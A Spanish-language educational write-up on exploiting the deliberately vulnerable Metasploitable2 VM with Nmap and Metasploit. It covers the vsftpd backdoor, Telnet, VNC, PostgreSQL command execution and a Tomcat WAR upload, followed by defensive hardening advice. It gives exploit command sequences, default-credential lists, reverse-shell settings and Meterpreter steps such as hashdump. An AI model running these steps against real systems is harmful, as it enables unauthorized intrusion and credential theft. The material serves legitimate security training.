GhostAcademy
Ghost AcademySecLearn// METASPLOITABLE2 LAB
⚔ WRITEUP EDUCATIVO — ETHICAL HACKING — SOLO ENTORNOS AUTORIZADOS
Metasploitable2
Explotación de Servicios Vulnerables
Manual completo de explotación ética · Metasploit Framework · Kali Linux · GhostAcademy · unfantasmaenelsistema.com
MetasploitKali Linux FTP ExploitationVNC PostgreSQLApache Tomcat NmapEthical Hacking PentestingCTF
5EXPLOITS
17CAPTURAS
🔴ROOT
📺
¿Qué es Metasploitable2?
Entorno vulnerable diseñado para aprender ethical hacking

Metasploitable2 es una máquina virtual Linux deliberadamente vulnerable desarrollada por Rapid7 (los creadores del framework Metasploit) con propósitos exclusivamente educativos. A diferencia de un sistema real comprometido, Metasploitable2 ha sido configurada intencionalmente con vulnerabilidades conocidas para que los estudiantes de ciberseguridad puedan practicar técnicas de hacking ético en un entorno completamente seguro y legal.

Su principal valor educativo radica en que expone una gran variedad de servicios vulnerables —FTP, Telnet, SSH, HTTP, Samba, MySQL, PostgreSQL, VNC, Tomcat y muchos más— cada uno con fallos de seguridad reales que fueron comunes en sistemas de producción durante años. Estudiar cómo se explotan estas vulnerabilidades es la mejor forma de entender cómo protegerse de ellas.

Este writeup cubre la explotación de 5 servicios clave: FTP (puerto 21), Telnet (puerto 23), VNC (puerto 5900), PostgreSQL (puerto 5432) y Apache Tomcat (puerto 8180), utilizando principalmente el framework Metasploit desde Kali Linux.

⚠ USO EXCLUSIVAMENTE EDUCATIVOTodas las técnicas descritas en este documento deben practicarse únicamente en entornos de laboratorio controlados como Metasploitable2, con máquinas virtuales aisladas. Aplicar estas técnicas contra sistemas reales sin autorización explícita es ilegal y puede conllevar consecuencias penales graves.
⬇️
Descargar Metasploitable2
Imagen de máquina virtual — SourceForge — Rapid7 / Metasploit Project
⬇ Descargar
⚙
Configuración del Laboratorio
Cómo montar el entorno de práctica de forma segura

Para seguir este writeup necesitarás dos máquinas virtuales ejecutándose en la misma red interna (host-only o red NAT privada). Es fundamental que nunca expongas Metasploitable2 a internet ni a tu red real de producción.

💻REQUISITOS DEL LABORATORIO
ComponenteDescripciónRol
Kali LinuxDistribución de hacking ético con Metasploit, Nmap y demás herramientas preinstaladas🦸 Máquina atacante
Metasploitable2VM Ubuntu 8.04 vulnerable. Credenciales por defecto: msfadmin:msfadmin🎯 Máquina víctima
VirtualBox / VMwareSoftware de virtualización para ejecutar ambas VMs🏘 Hipervisor
Red internaModo Host-Only o red NAT privada. Nunca puente con la red real.🌐 Red aislada
Configurar red interna en VirtualBox
# En VirtualBox: # VM Metasploitable2 -> Configuraci&oacute;n -> Red -> Adaptador 1 # Cambiar 'NAT' a 'Red solo anfitri&oacute;n' (Host-Only) # Repetir para Kali Linux # Ambas VMs deben usar el mismo adaptador Host-Only # Verificar conectividad desde Kali: ping <IP_Metasploitable2> # Credenciales de Metasploitable2: # Usuario: msfadmin # Contrase&ntilde;a: msfadmin
💡 IDENTIFICAR LA IP DE METASPLOITABLE2Al iniciar Metasploitable2, accede con msfadmin:msfadmin y ejecuta ifconfig para ver su IP. En los ejemplos de este writeup la IP de la víctima es 192.168.137.128 y la del atacante (Kali) es 192.168.137.129. Sustituye estas IPs por las de tu laboratorio.
🔍
Fase de Reconocimiento
Identificar la IP objetivo y escanear sus puertos abiertos con Nmap

El reconocimiento es siempre el primer paso de cualquier auditoría de seguridad. Antes de explotar ningún servicio, necesitamos identificar la IP de la máquina objetivo y descubrir qué puertos y servicios tiene abiertos.

1
Identificar la IP de Metasploitable2

Accede a la consola de Metasploitable2 con las credenciales por defecto (msfadmin:msfadmin) y ejecuta ifconfig para ver su dirección IP.

Metasploitable2 login
Consola de Metasploitable2 — identificación de la IP con ifconfig
ifconfig output
Salida de ifconfig mostrando la IP asignada a la máquina víctima
2
Escanear puertos con Nmap desde Kali Linux

Nmap (Network Mapper) es la herramienta estándar para descubrir hosts y servicios en una red. Con los flags -sV (detección de versiones) y -Pn (no hacer ping previo, útil si el host bloquea ICMP) obtenemos un mapa completo de los servicios expuestos.

Escaneo Nmap de Metasploitable2
# -sV: detectar versiones de los servicios # -Pn: saltar la comprobaci&oacute;n de host (no ping) # Sustituye la IP por la de tu laboratorio sudo nmap -sV -Pn 192.168.137.128
nmap scan results
Resultados del escaneo Nmap — puertos y servicios detectados en Metasploitable2
📊SERVICIOS VULNERABLES DETECTADOS POR NMAP
PuertoServicioVersiónVulnerabilidad principal
21/tcpFTPvsftpd 2.3.4Backdoor en la versión 2.3.4 (CVE-2011-2523)
22/tcpSSHOpenSSH 4.7p1Credenciales débiles / algoritmos antiguos
23/tcpTelnet—Protocolo sin cifrado, credenciales por defecto
80/tcpHTTPApache 2.2.8Múltiples CVEs, DVWA, phpMyAdmin
445/tcpSambaSamba 3.0.20CVE-2007-2447 (username map script)
3306/tcpMySQLMySQL 5.0.51aAcceso sin autenticación, credenciales por defecto
5432/tcpPostgreSQLPostgreSQL 8.3Credenciales por defecto, ejecución de comandos
5900/tcpVNCVNC protocol 3.3Contraseña en blanco / por defecto
8180/tcpApache TomcatTomcat 5.5Manager con credenciales por defecto (tomcat:tomcat)
📌 SOBRE METASPLOIT FRAMEWORKMetasploit es el framework de explotación más utilizado en el mundo del hacking ético. La mayoría de los ejercicios de este writeup usan msfconsole (la interfaz de línea de comandos de Metasploit). Conceptos clave: exploit = módulo que aprovecha la vulnerabilidad; payload = código que se ejecuta tras explotar; RHOSTS = IP de la víctima; LHOST = IP del atacante.
01
Explotación FTP — vsftpd 2.3.4 Backdoor
Protocolo de Transferencia de Archivos — CVE-2011-2523
PUERTO 21

FTP (File Transfer Protocol) es un protocolo de red estándar para la transferencia de archivos entre cliente y servidor. En Metasploitable2 se ejecuta vsftpd 2.3.4, una versión que fue comprometida en julio de 2011: un atacante introdujo una puerta trasera (backdoor) en el código fuente del paquete oficial. Cuando un cliente intenta autenticarse con un nombre de usuario que contiene el carácter :), vsftpd abre una shell con privilegios de root en el puerto 6200.

Este es un caso histórico de ataque a la cadena de suministro de software (supply chain attack): el código malicioso fue insertado directamente en el repositorio del proyecto.

1
Método 1: Conexión directa con credenciales FTP

La forma más simple de acceder es usando el cliente FTP con las credenciales por defecto. FTP transmite usuario y contraseña en texto plano, por lo que es trivialmente interceptable.

Conexión FTP con credenciales por defecto
# Conectar al servicio FTP de Metasploitable2 ftp 192.168.137.128 # Usuario: msfadmin # Contrase&ntilde;a: msfadmin # Una vez dentro: ls # listar archivos get archivo # descargar archivo put archivo # subir archivo
FTP connection
Conexión FTP exitosa con credenciales msfadmin:msfadmin
2
Método 2: Explotación del backdoor vsftpd 2.3.4 con Metasploit

Este método aprovecha la backdoor introducida en vsftpd 2.3.4 para obtener una shell root directamente, sin necesidad de conocer credenciales válidas.

Explotar vsftpd 2.3.4 con Metasploit
# 1. Iniciar la consola de Metasploit msfconsole # 2. Buscar el exploit de vsftpd search vsftpd # 3. Seleccionar el exploit use exploit/unix/ftp/vsftpd_234_backdoor # 4. Ver las opciones del exploit show options # 5. Configurar la IP de la v&iacute;ctima set RHOSTS 192.168.137.128 # 6. Ejecutar el exploit run
msfconsole
Inicio de msfconsole — interfaz de Metasploit Framework
search vsftpd
Resultados de la búsqueda del módulo vsftpd_234_backdoor
vsftpd exploit
Ejecución del exploit: shell root obtenida mediante la backdoor de vsftpd 2.3.4
✅  ¡Acceso root conseguido!  La backdoor de vsftpd 2.3.4 nos ha proporcionado una shell con privilegios de superusuario.
💡 ¿POR QUÉ ES PELIGROSA ESTA VULNERABILIDAD?vsftpd era considerado uno de los servidores FTP más seguros. Este incidente demuestra que incluso software de reputación impecable puede verse comprometido a nivel de repositorio. La defensa: verificar siempre los hashes SHA de los paquetes descargados y usar sistemas de gestión de paquetes con firma digital verificada.
02
Explotación Telnet — Protocolo sin cifrado
Acceso remoto de texto plano — Puerto TCP 23
PUERTO 23

Telnet es un protocolo de red que permite acceso remoto a sistemas a través de una interfaz de texto. Fue diseñado en 1969 y es uno de los protocolos más antiguos de internet. Su problema fundamental es que todo el tráfico viaja en texto plano: usuario, contraseña y todos los comandos ejecutados son fácilmente interceptables mediante un sniffer de red como Wireshark.

En Metasploitable2, Telnet acepta las credenciales por defecto msfadmin:msfadmin, dando acceso directo al sistema. En muchos casos incluso proporciona acceso como root directamente, ya que las políticas de seguridad están deliberadamente deshabilitadas.

1
Conectar mediante Telnet

La conexión Telnet es trivial: basta con el cliente telnet disponible en cualquier sistema Linux/Mac. El peligro real no es la explotación en sí sino que cualquier persona en la red puede capturar las credenciales con un simple sniff.

Conexión Telnet con credenciales por defecto
# Conectar al servicio Telnet telnet 192.168.137.128 # Cuando solicite credenciales: # login: msfadmin # Password: msfadmin # Una vez conectado, verificar privilegios: whoami id uname -a # En Metasploitable2 es com&uacute;n obtener acceso root directamente sudo su - # O simplemente: sudo -i
Telnet session
Sesión Telnet activa: acceso remoto con credenciales msfadmin en Metasploitable2
✅  ¡Acceso root conseguido vía Telnet!  Credenciales en texto plano transmitidas y capturables desde la red.
⚠ TELNET ESTÁ OBSOLETO Y ES INSEGUROTelnet nunca debería usarse en entornos modernos. Su sustituto seguro es SSH (Secure Shell), que cifra toda la comunicación. Si encuentras Telnet abierto en una auditoría real, es una vulnerabilidad crítica que debe remediarse de inmediato. Comando para deshabilitar Telnet en Linux: sudo systemctl disable telnet.socket --now
03
Explotación VNC — Escritorio remoto sin contraseña
Virtual Network Computing — Puerto TCP 5900
PUERTO 5900

VNC (Virtual Network Computing) es un sistema de compartición de escritorio remoto que permite ver e interactuar con el entorno gráfico de un equipo remoto a través de la red. El puerto 5900 es el puerto por defecto del primer display VNC (:0).

En Metasploitable2, el servidor VNC está configurado con contraseña vacía o trivialmente débil, lo que permite acceso inmediato al escritorio del sistema sin ninguna autenticación válida. Utilizaremos Metasploit primero para confirmar la vulnerabilidad y luego vncviewer para acceder gráficamente.

1
Escanear y verificar el servicio VNC con Metasploit
Usar el módulo auxiliar de VNC en Metasploit
# 1. Iniciar Metasploit msfconsole # 2. Buscar el m&oacute;dulo de login VNC search auxiliary/scanner/vnc/vnc_login # 3. Usar el m&oacute;dulo use auxiliary/scanner/vnc/vnc_login # 4. Configurar la IP de la v&iacute;ctima set RHOSTS 192.168.137.128 # 5. Ejecutar el escaneo run # El m&oacute;dulo intentar&aacute; autenticarse con contrase&ntilde;a vac&iacute;a # y comprobar&aacute; si el acceso es posible
VNC login module
Módulo vnc_login de Metasploit confirmando acceso VNC sin contraseña
2
Conectar al escritorio remoto con vncviewer

Una vez confirmado el acceso, usamos vncviewer para obtener una sesión gráfica completa del escritorio de Metasploitable2.

Conectar al escritorio con vncviewer
# Desde Kali Linux vncviewer 192.168.137.128 # Si solicita contrase&ntilde;a, prueba: # - Dejar en blanco y pulsar Enter # - 'password' # - 'metasploit' # Para instalar vncviewer en Kali si no est&aacute;: sudo apt install tigervnc-viewer -y
vncviewer dialog
Diálogo de conexión de vncviewer apuntando a Metasploitable2
VNC desktop
Escritorio gráfico de Metasploitable2 accesible vía VNC sin autenticación válida
✅  ¡Acceso root vía VNC!  Escritorio gráfico completo del sistema víctima obtenido sin contraseña.
💡 IMPACTO REAL DE VNC SIN CONTRASEÑAUn VNC expuesto sin contraseña equivale a dejar el ordenador desbloqueado con acceso remoto público. El atacante tiene control visual e interactivo total: puede ver la pantalla en tiempo real, mover el ratón, escribir teclado, copiar archivos y ejecutar cualquier programa. En auditorías reales, VNC expuesto es una vulnerabilidad crítica de severidad CVSS 10.0.
04
Explotación PostgreSQL — Ejecución remota de comandos
Sistema de gestión de base de datos relacional — Puerto TCP 5432
PUERTO 5432

PostgreSQL es un potente sistema de gestión de bases de datos relacionales de código abierto. En Metasploitable2 se ejecuta con credenciales por defecto (postgres:postgres) y sin restricciones de acceso por red, lo que permite conectarse desde cualquier host.

La vulnerabilidad más crítica aquí no es solo el acceso a la base de datos, sino que PostgreSQL permite la ejecución de comandos del sistema operativo mediante la extensión COPY TO/FROM PROGRAM o funciones SQL especiales. Metasploit automatiza este proceso para obtener una shell con los privilegios del proceso PostgreSQL, que en Metasploitable2 corre como root.

1
Buscar y seleccionar el exploit de PostgreSQL en Metasploit
Buscar módulos PostgreSQL en Metasploit
# 1. Iniciar Metasploit msfconsole # 2. Buscar exploits de PostgreSQL search PostgreSQL # El m&oacute;dulo m&aacute;s &uacute;til para ejecuci&oacute;n de comandos: # exploit/multi/postgres/postgres_copy_from_program_cmd_exec # Para login y enumeraci&oacute;n: # auxiliary/scanner/postgres/postgres_login use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
PostgreSQL modules
Lista de módulos de Metasploit relacionados con PostgreSQL
2
Configurar y ejecutar el exploit
Configurar el exploit y obtener shell
# Ver opciones del exploit show options # Configurar IP de la v&iacute;ctima (PostgreSQL) set RHOSTS 192.168.137.128 # Configurar IP del atacante (Kali) para la reverse shell set LHOST 192.168.137.129 # Las credenciales por defecto ya est&aacute;n configuradas # pero puedes verificarlas: # set USERNAME postgres # set PASSWORD postgres # Ejecutar el exploit run
PostgreSQL config
Configuración del exploit de PostgreSQL: RHOSTS y LHOST definidos
PostgreSQL shell
Shell obtenida tras explotar PostgreSQL con ejecución de comandos remotos
✅  ¡Acceso root vía PostgreSQL!  Shell remota obtenida mediante la ejecución de comandos a través del servidor de base de datos.
📌 TÉCNICA: COPY FROM PROGRAMEl exploit usa la función COPY TO/FROM PROGRAM de PostgreSQL, que permite ejecutar comandos del sistema operativo directamente desde SQL. Esto es una característica legítima de PostgreSQL para importar/exportar datos, pero con credenciales comprometidas se convierte en una vía de ejecución remota de comandos (RCE). La defensa: nunca exponer PostgreSQL a la red sin restricción de acceso y usar credenciales robustas.
05
Explotación Apache Tomcat — Manager con credenciales por defecto
Servidor de aplicaciones Java — Puerto TCP 8180
PUERTO 8180

Apache Tomcat es un servidor de aplicaciones de código abierto que ejecuta servlets Java y JavaServer Pages (JSP). Incluye una interfaz web de administración llamada Tomcat Manager que permite desplegar, iniciar y detener aplicaciones web en formato WAR.

En Metasploitable2, Tomcat 5.5 está expuesto en el puerto 8180 con las credenciales por defecto tomcat:tomcat. El exploit sube un archivo WAR malicioso a través del Manager, que Tomcat despliega automáticamente y ejecuta, proporcionándonos una reverse shell con los privilegios del proceso Tomcat (root en este caso).

1
Acceder al Tomcat Manager en el navegador

Antes de usar Metasploit, es útil verificar manualmente que el Manager de Tomcat es accesible con las credenciales por defecto.

Verificar Tomcat Manager manualmente
# Abrir en el navegador de Kali: http://192.168.137.128:8180/manager/html # Credenciales cuando solicite autenticaci&oacute;n: # Usuario: tomcat # Contrase&ntilde;a: tomcat # Tambi&eacute;n se pueden probar: # admin:admin, admin:tomcat, tomcat:s3cret # Verificar con curl desde terminal: curl -u tomcat:tomcat http://192.168.137.128:8180/manager/text/list
2
Explotar Tomcat con Metasploit (subida de WAR malicioso)

El exploit tomcat_mgr_upload automatiza el proceso de generar un payload como archivo WAR, subirlo al Manager y ejecutarlo para obtener una shell remota.

Explotar Apache Tomcat con Metasploit
# 1. Iniciar Metasploit msfconsole # 2. Buscar el exploit de Tomcat search apache tomcat # 3. Seleccionar el exploit de subida al manager use exploit/multi/http/tomcat_mgr_upload # 4. Ver todas las opciones show options # 5. Configurar los par&aacute;metros necesarios set RHOSTS 192.168.137.128 set RPORT 8180 set HttpUsername tomcat set HttpPassword tomcat # 6. Configurar la IP del atacante para la reverse shell set LHOST 192.168.137.129 # 7. Ejecutar el exploit run
Tomcat modules
Lista de módulos Metasploit para Apache Tomcat
Tomcat config
Configuración del exploit: RHOSTS, RPORT, credenciales y LHOST
Tomcat shell
Shell Meterpreter obtenida tras desplegar el WAR malicioso en Tomcat Manager
✅  ¡Acceso root vía Apache Tomcat!  WAR malicioso desplegado con éxito. Shell Meterpreter con privilegios root obtenida.
💡 ¿QUÉ ES UN ARCHIVO WAR?Un archivo WAR (Web Application Archive) es un paquete comprimido que contiene una aplicación web Java lista para desplegarse en Tomcat. Metasploit genera un WAR que contiene un servlet malicioso: cuando Tomcat lo despliega, el servlet ejecuta el payload que conecta de vuelta a nuestro listener. La defensa: nunca dejar el Manager de Tomcat accesible desde internet y cambiar siempre las credenciales por defecto.
🔧
Mapa Completo de Puertos de Metasploitable2
Todos los servicios vulnerables disponibles para práctica
PuertoProtocoloServicioVersiónCredencialesVector de ataque
21TCPFTPvsftpd 2.3.4msfadmin:msfadminBackdoor CVE-2011-2523, credenciales
22TCPSSHOpenSSH 4.7p1msfadmin:msfadminCredenciales débiles, algoritmos legacy
23TCPTelnet—msfadmin:msfadminTexto plano, credenciales por defecto
25TCPSMTPPostfix smtpd—Relay abierto, enumeración
80TCPHTTPApache 2.2.8admin:adminDVWA, phpMyAdmin, WebDAV
139/445TCPSMB/SambaSamba 3.0.20—CVE-2007-2447, null sessions
512TCPrexec——Acceso remoto sin autenticación
513TCPrlogin——Acceso remoto sin autenticación
514TCPrsh——Remote shell sin autenticación
1099TCPJava RMIRMI registry—Ejecución remota Java
1524TCPBindshell——Shell root directa sin auth
2049TCPNFS——Montaje sin autenticación
3306TCPMySQL5.0.51aroot: (vacía)Sin contraseña de root
5432TCPPostgreSQL8.3.0postgres:postgresCredenciales defecto, RCE via SQL
5900TCPVNCProtocol 3.3(vacía)Sin autenticación
6000TCPX11——Display remoto sin auth
6667TCPIRCUnrealIRCd—Backdoor en UnrealIRCd
8009TCPAJPApache Jserv—AJP Ghostcat (CVE-2020-1938)
8180TCPHTTP/TomcatTomcat 5.5tomcat:tomcatManager upload, WAR malicioso
🛠
Referencia: Comandos Esenciales de Metasploit
Los comandos más utilizados en msfconsole
Comandos fundamentales de msfconsole
# INICIO Y NAVEGACI&Oacute;N msfconsole # Iniciar Metasploit help # Mostrar ayuda general exit / quit # Salir de msfconsole # B&Uacute;SQUEDA Y SELECCI&Oacute;N DE M&Oacute;DULOS search <t&eacute;rmino> # Buscar exploits/auxiliares use <m&oacute;dulo> # Seleccionar un m&oacute;dulo show info # Ver informaci&oacute;n detallada del m&oacute;dulo show options # Ver par&aacute;metros configurables show payloads # Ver payloads compatibles back # Volver al men&uacute; principal # CONFIGURACI&Oacute;N DE PAR&Aacute;METROS set RHOSTS <IP> # IP de la v&iacute;ctima set RPORT <puerto> # Puerto de la v&iacute;ctima set LHOST <IP> # IP del atacante (para reverse shell) set LPORT <puerto> # Puerto del listener (default: 4444) set PAYLOAD <payload> # Seleccionar payload espec&iacute;fico unset <par&aacute;metro> # Limpiar un par&aacute;metro # EJECUCI&Oacute;N run / exploit # Ejecutar el m&oacute;dulo check # Comprobar si el objetivo es vulnerable # SESI&Oacute;N METERPRETER (una vez dentro) sessions # Listar sesiones activas sessions -i <n> # Conectar a sesi&oacute;n N getuid # Ver usuario actual getsystem # Intentar elevaci&oacute;n de privilegios hashdump # Extraer hashes de contrase&ntilde;as shell # Abrir shell del sistema sysinfo # Informaci&oacute;n del sistema download <archivo> # Descargar archivo upload <archivo> # Subir archivo
Flujo típico de explotación con Metasploit
# 1. Iniciar msfconsole msfconsole # 2. Buscar el exploit adecuado search <servicio_o_CVE> # 3. Seleccionarlo use <ruta/del/exploit> # 4. Ver opciones requeridas show options # 5. Configurar objetivo set RHOSTS <IP_victima> set LHOST <IP_atacante> # Solo para reverse shells # 6. Verificar si es vulnerable (opcional) check # 7. Ejecutar run # 8. Si obtienes Meterpreter, explorar: getuid sysinfo hashdump
🛡
Medidas Defensivas: Cómo Protegerse
Lo que aprendemos de cada vulnerabilidad explotada

El objetivo final de comprender cómo se explotan estas vulnerabilidades es precisamente saber cómo evitarlas en sistemas reales. Cada servicio explotado en Metasploitable2 representa un error de configuración o un software desactualizado que todavía existe en entornos de producción reales.

ServicioVulnerabilidadMedida defensiva
FTP (21)vsftpd 2.3.4 backdoor, credenciales débiles, texto planoUsar SFTP o FTPS en su lugar. Actualizar vsftpd. Deshabilitar FTP anónimo. Firewall restrictivo.
Telnet (23)Protocolo sin cifrado, credenciales por defectoDeshabilitar Telnet completamente. Usar SSH con clave pública. Nunca transmitir credenciales en texto plano.
VNC (5900)Sin contraseña, sin cifrado nativoContraseña robusta en VNC. Acceso solo por VPN/SSH tunnel. Restringir acceso por IP con firewall.
PostgreSQL (5432)Credenciales por defecto, acceso sin restricciónCambiar contraseña por defecto. Configurar pg_hba.conf para restringir IPs. No exponer a la red pública.
Tomcat (8180)Manager con credenciales por defectoCambiar credenciales del Manager. Deshabilitar el Manager en producción. Actualizar Tomcat. Firewall.
Comandos de endurecimiento básico en Linux
# Deshabilitar servicios innecesarios sudo systemctl disable telnet.socket --now sudo systemctl disable vsftpd --now sudo systemctl disable vnc --now # Configurar firewall con UFW (Uncomplicated Firewall) sudo ufw enable sudo ufw default deny incoming sudo ufw allow 22/tcp # Solo SSH sudo ufw allow 80/tcp # HTTP si es necesario sudo ufw allow 443/tcp # HTTPS si es necesario sudo ufw status verbose # Cambiar contrase&ntilde;as por defecto passwd root passwd postgres # Actualizar el sistema sudo apt update && sudo apt upgrade -y # Ver puertos abiertos en tu propio sistema sudo ss -tlnp sudo netstat -tlnp
🏆
Conclusiones y Próximos Pasos
Lo aprendido y cómo continuar

A lo largo de este writeup has explorado 5 vectores de ataque diferentes sobre Metasploitable2, obteniendo acceso root en todos los casos mediante técnicas y herramientas que son estándar en el mundo del ethical hacking: Nmap para reconocimiento, Metasploit Framework para la explotación, y clientes nativos como FTP, Telnet y VNCviewer.

Las lecciones más importantes de este ejercicio son:

  • Las credenciales por defecto son la vulnerabilidad más común y más fácil de explotar. Cambiarlas siempre es la medida de seguridad más básica.
  • El software desactualizado acumula vulnerabilidades conocidas con exploits públicos. Mantener los sistemas actualizados es crítico.
  • La exposición de servicios innecesarios aumenta drásticamente la superficie de ataque. Solo exponer los servicios que sean estrictamente necesarios.
  • El cifrado importa: protocolos como Telnet y FTP deben sustituirse por sus equivalentes seguros (SSH, SFTP).
📚OTROS SERVICIOS PARA EXPLORAR EN METASPLOITABLE2
  • Samba (445): CVE-2007-2447 — inyección de comandos via username map script
  • IRC — UnrealIRCd (6667): backdoor en la versión incluida en Metasploitable2
  • HTTP (80): DVWA (Damn Vulnerable Web App), phpMyAdmin, Mutillidae — laboratorio de vulnerabilidades web
  • Java RMI (1099): ejecución remota de objetos Java
  • NFS (2049): montaje de sistema de archivos sin autenticación
  • Bindshell (1524): shell root directamente accesible sin autenticación
  • MySQL (3306): acceso root sin contraseña
🎓RECURSOS PARA CONTINUAR APRENDIENDO
  • HackTheBox — hackthebox.com: máquinas vulnerables de nivel progresivo con comunidad activa
  • TryHackMe — tryhackme.com: plataforma guiada ideal para principiantes
  • VulnHub — vulnhub.com: máquinas virtuales vulnerables descargables como Metasploitable
  • OffSec — OSCP: la certificación de referencia en penetration testing
  • Metasploit Unleashed — documentación gratuita y completa de Metasploit Framework
✓ CONCLUSIÓNHas completado el writeup de Metasploitable2. Recuerda siempre practicar en entornos autorizados y usar estos conocimientos para construir sistemas más seguros. La ciberseguridad defensiva y ofensiva son dos caras de la misma moneda.
✓ Copiado